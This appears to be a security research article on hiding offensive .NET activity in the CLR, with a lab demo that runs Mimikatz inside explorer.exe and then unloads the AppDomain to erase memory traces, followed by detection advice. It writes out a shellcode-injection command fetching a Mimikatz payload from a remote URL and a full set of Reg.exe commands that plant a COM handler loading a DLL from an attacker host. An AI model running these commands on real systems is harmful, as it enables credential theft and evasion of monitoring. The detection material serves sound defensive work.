Detection evasion in CLR and tips on how to detect such attacks
In terms of costs, the age-old battle that pits attacker versus defender has become very one sided in recent years. Almost all modern attacks (and ethical offensive exercises) use Mimikatz, SharpHound, SeatBelt, Rubeus, GhostPack and other toolsets available to the community. This so-called githubification is driving attackers’ costs down and reshaping the focus from malware development to the evasion of security mechanisms. What’s the point of creating a tool that can be detected by EPP solutions when you can gain more by simply reusing existing tools and learning how to perform attacks with them? It places the onus – and costs – on the defender who suddenly needs new expertise, tools and processes.
Fileless and malwareless attacks, heavy usage of the LOLBAS list, runtime encryption, downloaders, packers, as well as old, repurposed and completely new techniques to evade a variety of security tools and controls – all these are actively used by attackers. No one is surprised by Mimikatz being embedded in InstallUtil.exe. In our article we will describe an evasion technique that can be employed to hide offensive activities in the memory, namely, how to delete indicators from memory. We will then provide you with some tools and methods that may be useful for detecting this technique. We’ll review applications running in or using the CLR (Common Language Runtime) environment, such as PowerShell, numerous LOLBAS tools, and multiple C# utilities.
If you’re already familiar with CLR, you can go straight to Detection evasion in CLR.
CLR basics
When you compile a source code written in C# the compiler doesn’t give you a ready-to-run PE file, but an assembly. This is primarily a set of statements (CIL code) for the runtime environment to generate native code (which in its turn will be executed) during the execution of this assembly. The process of creating native code from the assembly at runtime is called JIT compilation.
Common Language Runtime. Source: https://ru.wikipedia.org/wiki/Common_Language_Runtime
The assembly resulting from the compilation of an application will contain the following data:
- Metainformation on classes, interfaces, types, methods and fields in the assembly. These data are needed for CLR to handle the written code: load it, reference it, run one code from another, and pass input and output data. The process of reading and applying this data is called reflection.
- The code itself, defined in modules. It just can’t be launched without being processed in CLR.
- Assembly Manifest containing data on security, versions, dependencies and the assembly elements. The manifest defines what is needed to execute code. For instance, if your code needs https://github.com/JamesNK/Newtonsoft.Json to be launched, it will be defined in the manifest.
- All types of files and data, which can be included in the assembly itself or stored as separate files.
Loading and execution of assemblies is a complicated process – let’s take a closer look at how it works.
Process startup
The ETW CLR Runtime Provider (GUID e13c0d23-ccbc-4e12-931b-d9cc2eee27e4) gives a good indication of a process startup with managed code.
Event | EventID | Quantity per process | Description |
RuntimeInformationEvent | 187 | One | CLR launched. |
AppDomainLoad_V1 | 156 | Many | AppDomain loaded. |
AssemblyLoad_V1 | 154 | Many | Assembly loaded. |
ModuleLoad_V2 | 152 | Many | Module loaded. Our code is here |
ModuleUnload_V2 | 153 | Many | Module unloaded. |
AssemblyUnload_V1 | 155 | Many | Assembly unloaded. |
AppDomainUnLoad_V1 | 157 | Many | AppDomain unloaded. From an SOC analyst point of view, it’s interesting if this event happens at random intervals many times. |
CLR launch
Microsoft implemented CLR as a COM server inside DLL. It means that a standard COM interface is used for the CLR environment and a GUID is assigned to this interface and the COM server. When you install the .NET Framework the COM server representing the CLR is registered in the Windows Registry just like any other COM server. Any Windows application can host the CLR environment. This kind of hosting generates event 187 with information on CLR activation and includes COM activation data: StartupMode, ComObjectGUID fields containing useful information on how the CLR has been loaded, which is especially interesting in the case of COM activation.
Refer to the MetaHost.h C++ header file provided with the .NET Framework SDK if you need extra information on this topic. This header file specifies the GUID identifiers and the definition of the unmanaged ICLRMetaHostinterface. You will learn how to run the CLR with any language: C++, Python, etc.
Application domain load
Event 156 appears: loading of the application domain into the CLR. When the CLR COM server initializes, it creates an application domain. The AppDomain represents a logical container for a set of assemblies that typically implement an application. Also, the application domain is a mechanism implemented in the CLR that allows you to run a group of applications as a single process ensuring their relative isolation while allowing them to interact with each other much faster. There can be multiple application domains in a single process. The first application domain will be created when the CLR environment is initialized. It’s called the default application domain and is only destroyed when the Windows process terminates.
Objects created in one application domain cannot be directly accessed by code in another application domain. When an application domain code creates an object, the object “belongs” to that application domain. Also, an object (including an artifact) is not allowed to exist longer than the lifetime of the application domain whose code created it. A code in other application domains can only access an object in other application domains by marshalling (data transfer), by reference or by value. This ensures clear separation and boundaries, since a code in one application domain cannot have a direct reference to an object created by a code in other application domains. This isolation makes it easy to unload application domains from the process without affecting the code running in other application domains.
Note that this is precisely what allows application domains to be unloaded. The CLR does not support the ability to unload a single assembly from an AppDomain. However, you can command the CLR to unload the entire AppDomain, which will unload all the assemblies it currently contains. |
Each application running in its own address space is a great feature. It ensures that code of one application cannot access code or data used by another. Process isolation prevents security breaches, data corruption and other unpredictable actions, making Windows and the applications running on it reliable. Unfortunately, creating processes in Windows is very “expensive”. The Win32 CreateProcess function is very slow, and Windows requires a significant amount of memory to virtualize the process address space.
However, if the application consists entirely of managed code that is reliably secure and does not invoke unmanaged code, there’s no problem with running multiple managed applications in the same Windows process. Application domains provide the isolation necessary to protect, configure and terminate each of these applications. The unit of isolation for code in the CLR is the application domain, not the process. We can say, with a few assumptions, that the process starting in WinAPI semantics is equivalent to the application domain creation. For an SOC analyst, it would be better to view the application domain load and process start events as being functionally the same.
There is no hard-coded limit on the number of application domains that can run in a single Windows process. Just like with IIS server sites, each site is a separate application domain with its own isolation and can be unloaded from the server without affecting the other sites.
Assembly load
Next, the assembly needs to be loaded into the application domain or a shared domain if the assembly is going to be shared between application domains. Such assemblies are called domain-neutral and we won’t address them in this article. The assembly determines a set of rules for the code it contains, providing the CLR (and other code) with information about the types and classes defined in the assembly.
Module load
Modules with CIL code are loaded into the assembly. The CIL code goes to JIT compilation to produce executable native code in accordance with the manifest. Note that we need to unload the entire application domain in order to remove the artifact that is defined (or appears in the described process) in the module.
The figure shows a single Windows process running a single CLR COM server. This CLR environment currently manages two AppDomains. Both AppDomains have their own loader heap, each of which maintains a record of what types have been available since the AppDomain creation. Each loader heap has a method table and each entry in the method table points to JIT-compiled native code if the method has been executed at least once.
CLR via C# J. Rihter
Detection evasion in CLR
First, let’s look at when and how the attack will be detected. For this purpose, we will analyze an attack using the Covenant framework.
Running Covenant in a single application domain
Let’s look at how the Covenant framework works. By firing up the Grunt agent and executing typical offensive activities, we can collect information on the current user, AutoStart and AutoRun entries, Kerberos tickets loaded into the current user’s session, as well as the browser history. As a result, we can see several assemblies loaded into our application domain: Seatbelt AutoRuns, Seatbelt ChromeHistory, Rubeus klist and others.
Loaded assemblies of Rubeus and Seatbelt
A set of assemblies with different functions are loaded into the same application domain and in one process. Such assemblies can be easily detected by classic security tools with signature analysis (a lot of indicators present in the code and the execution results). It’s also impossible to unload them because they are linked with the same application domain as the code that implements interaction with the C2.
Process start and injection
How do attackers try to stay undetected? They may use the classic means of code splitting: code injection and/or starting a new process for their malicious purposes. However, that’s not always possible: in fact, there are situations where both an injection and starting a new process will be too conspicuous for security monitoring tools. Also, it’s not always possible to close a process that contains an indicator, for example, if the attacker has used a system process. To illustrate this, we can create the Mimikatz shellcode (Donut) and inject it into a process (I chose PowerShell) using Process Injection, which was started from Covenant’s Grunt. It’s the same method described in the lab here. In addition, we can see both the start of the injector process and the injection. We can monitor these activities using Sysmon with “default” config by SwiftOnSecurity.
Uploading injector application
Starting injector and injecting shellcode
Grunt on the victim’s host executed ProcessInjection.exe with the command line below (b64 encoded shellcode in glist):
ProcessInjection.exe /t:1 /f:base64 /pid:1604 /url:https://gist.githubusercontent.com/gam4er/07aae8b5284c9aa54ff976c3f4bc0cd9/raw/ec0de97792230bbb0526dd60659c3e1c75c 3a63b/Mimi
And Sysmon shows lots of suspicious activities as shown below.
Create executable file | Create process | Inject code from ProcessInjection.exe to powershell.exe |
With AV/EPP/EDR the execution chain cannot be completed because it is a well-known attacker activity pattern. The conclusion is that the old methods of running/spawning/injecting code are very noticeable.
COM-based CLR agent
Now I would like to describe a way that will cause a remote machine to download and run code through the activation of a COM server in the Explorer process.
Let’s register our COM server as MSCOREE library (implements CLR functionality in Windows) with the inputs: name of assembly and class with server implementation. As a result, we instructed the CLR to load the code implementing the server from the specified class in the event of activation.
Note the CodeBase key. It allows us to use the COM server without registering our assembly in the Global Assembly Cache and to define the COM server on behalf of the user (GAC registration requires administrative privileges). This parameter takes a URI and is a little unusual. The host process downloads the assembly containing the COM server from the network and launches it. COM server registration is also possible via the network: we just need to change the system registry to define it.
There are multiple CLR configuration methods as well as parameters: configuration files and global environmental variables. Moreover, there is a special parameter that allows or forbids (forbids by default) assemblies loading from remote sources. However, CLR activation using a COM server in the Explorer host process is allowed by default (assemblies can be downloaded from remote sources). It’s not a vulnerability, but a feature.
Demo attack: Complicating things for detection
We mentioned that a single application domain (Running Covenant in a single application domain) and project creation/injection (Process start and injection) can be detected can be detected with varying degrees of difficulty, but are primarily high-profile, visible activities. We also showed how to set up remote code loading to CLR. Now let’s look at how detection tasks can be complicated on a demo with a COM-based CLR agent. We will be running vanilla Mimikatz in the context of the Explorer process on the remote host and clearing up artefacts after Mimikatz execution. This demo attack is conducted on a host we already have access to. Every step is available in the following video with transcript below. The transcript also contains timestamps in case you want to start watching from a particular step.
We have Yara scanner and Yara rules from Mimikatz repo as our EPP of choice to scan memory. Inveigh and Mimikatz are already installed on the victim’s host. First, let’s check that the Yara rule is a match.
Now let’s look at the explorer.exe process (PID 3896) and confirm that there are no signs of Mimikatz inside. Next, we restart explorer.exe to show one more time that’s its clean and doesn’t contain any CLR assemblies.
Next, we move to the attacker’s host (01:40). An Explorer handler is added to the registry of the victim’s host. When the victim starts explorer.exe, an assembly from the remote (attacker) host will be loaded for execution.
Reg.exe add "\ts-user1.enterprise.labHKLMSOFTWAREClassesCLSID{a259c04f-ffa8-310b-864c-fe602840399e}" /ve /t REG_SZ /d "ReadOnlyFileIconOverlayHandler" /f Reg.exe add "\ts-user1.enterprise.labHKLMSOFTWAREClassesCLSID{a259c04f-ffa8-310b-864c-fe602840399e}InprocServer32" /ve /t REG_SZ /d "mscoree.dll" /f Reg.exe add "\ts-user1.enterprise.labHKLMSOFTWAREClassesCLSID{a259c04f-ffa8-310b-864c-fe602840399e}InprocServer32" /v "Assembly" /t REG_SZ /d "ReadOnlyFileIconOverlayHandler, Version=1.0.0.0, Culture=neutral, PublicKeyToken=1aadad2b22ca8c0e" /f Reg.exe add "\ts-user1.enterprise.labHKLMSOFTWAREClassesCLSID{a259c04f-ffa8-310b-864c-fe602840399e}InprocServer32" /v "Class" /t REG_SZ /d "ReadOnlyFileIconOverlayHandler.ReadOnlyFileIconOverlayHandler" /f Reg.exe add "\ts-user1.enterprise.labHKLMSOFTWAREClassesCLSID{a259c04f-ffa8-310b-864c-fe602840399e}InprocServer32" /v "RuntimeVersion" /t REG_SZ /d "v4.0.30319" /f Reg.exe add "\ts-user1.enterprise.labHKLMSOFTWAREClassesCLSID{a259c04f-ffa8-310b-864c-fe602840399e}InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Both" /f Reg.exe add "\ts-user1.enterprise.labHKLMSOFTWAREClassesCLSID{a259c04f-ffa8-310b-864c-fe602840399e}InprocServer32" /v "CodeBase" /t REG_SZ /d "http://ts-dc1.enterprise.lab/ReadOnlyFileIconOverlayHandler.dll" /f Reg.exe add "\ts-user1.enterprise.labHKLMSOFTWAREClassesCLSID{a259c04f-ffa8-310b-864c-fe602840399e}InprocServer321.0.0.0" /v "Assembly" /t REG_SZ /d "ReadOnlyFileIconOverlayHandler, Version=1.0.0.0, Culture=neutral, PublicKeyToken=1aadad2b22ca8c0e" /f Reg.exe add "\ts-user1.enterprise.labHKLMSOFTWAREClassesCLSID{a259c04f-ffa8-310b-864c-fe602840399e}InprocServer321.0.0.0" /v "Class" /t REG_SZ /d "ReadOnlyFileIconOverlayHandler.ReadOnlyFileIconOverlayHandler" /f Reg.exe add "\ts-user1.enterprise.labHKLMSOFTWAREClassesCLSID{a259c04f-ffa8-310b-864c-fe602840399e}InprocServer321.0.0.0" /v "RuntimeVersion" /t REG_SZ /d "v4.0.30319" /f Reg.exe add "\ts-user1.enterprise.labHKLMSOFTWAREClassesCLSID{a259c04f-ffa8-310b-864c-fe602840399e}InprocServer321.0.0.0" /v "CodeBase" /t REG_SZ /d "http://ts-dc1.enterprise.lab/ReadOnlyFileIconOverlayHandler.dll" /f Reg.exe add "\ts-user1.enterprise.labHKLMSOFTWAREClassesReadOnlyFileIconOverlayHandler.ReadOnlyFileIconOverlayHandler" /ve /t REG_SZ /d "ReadOnlyFileIconOverlayHandler.ReadOnlyFileIconOverlayHandler" /f Reg.exe add "\ts-user1.enterprise.labHKLMSOFTWAREClassesReadOnlyFileIconOverlayHandler.ReadOnlyFileIconOverlayHandlerCLSID" /ve /t REG_SZ /d "{A259C04F-FFA8-310B-864C-FE602840399E}" /f Reg.exe add "\ts-user1.enterprise.labHKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerShellIconOverlayIdentifiers ReadOnlyFileIconOverlayHandler" /ve /t REG_SZ /d "{a259c04f-ffa8-310b-864c-fe602840399e}" /f Reg.exe add "\ts-user1.enterprise.labHKLMSOFTWAREMicrosoftWindowsCurrentVersionShell ExtensionsApproved" /v "{a259c04f-ffa8-310b-864c-fe602840399e}" /t REG_SZ /d "ReadOnlyFileIconOverlayHandler" /f
Returning to the victim’s host (02:30), we emulate the user logon by restarting explorer.exe.
Now explorer.exe has .NET assemblies loaded and there are still no suspicious artifacts inside the process. There will be none until KatzAssembly is loaded and executed. Spot the empty (for now) application domain spawned inside our target process.
At 03:50 we execute Mimikatz, which creates detectable assemblies in the memory.
Right after the Mimikatz operation is finished, we unload (04:18) the application domain spawned for this Mimikatz session. And the Yara scan shows that there are no longer any artifacts.
This practical example can be summarized in the mini diagram below. The idea is, unfortunately, rather easy to implement and very expensive to detect (performance for memory scans, scanning of unloading applications, etc.), but luckily vary rarely seen in the wild.
Detection of CLR memory clearing
How do you detect CLR memory clearing? You need to keep an eye on how often application domains are unloaded.
The figure shows the sequence of ETW events: application domain creation, assembly loading, and assembly and application domain unloading. You can log this using different tools, for example, SilkETW.
SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2008 -ot file -p Loader.json
You can aggregate the events of application domain load and unload, and identify the process that most often loads and unloads application domains.
The AMSI interface scans assemblies during loading, but it would also be useful to scan assembly memory and resources during unloading, though obviously not for prevention purposes. Of course, this additional scanning would also have a negative impact on performance.
Detection of COM activation of the CLR environment and remote assembly load
The trick with downloading remote code through the COM server activating in the Explorer process can be detected if you monitor activation parameters (startupMode and COMObjectGUID) in event 187.
Additionally, registration events (in the system registry) for any new COM servers with the [HKEY_CLASSES_ROOTCLSID{GUID}InprocServer32CodeBase] value containing a URL address should be monitored as well as the loading of assemblies by the Explorer process from %AppData%Localassemblydl3([0-9A-Z]{8}.[0-9A-Z]{3}\){2}.*Assemb.dll.
Useful links
- https://github.com/gam4er/SneakyRun (code, including scripts to add registry values for remote Explorer handler manipulation)
- https://gist.github.com/gam4er/f9d0ed93697f08fc32ddb11fdcec6136 (list of all resources I used for the presentation)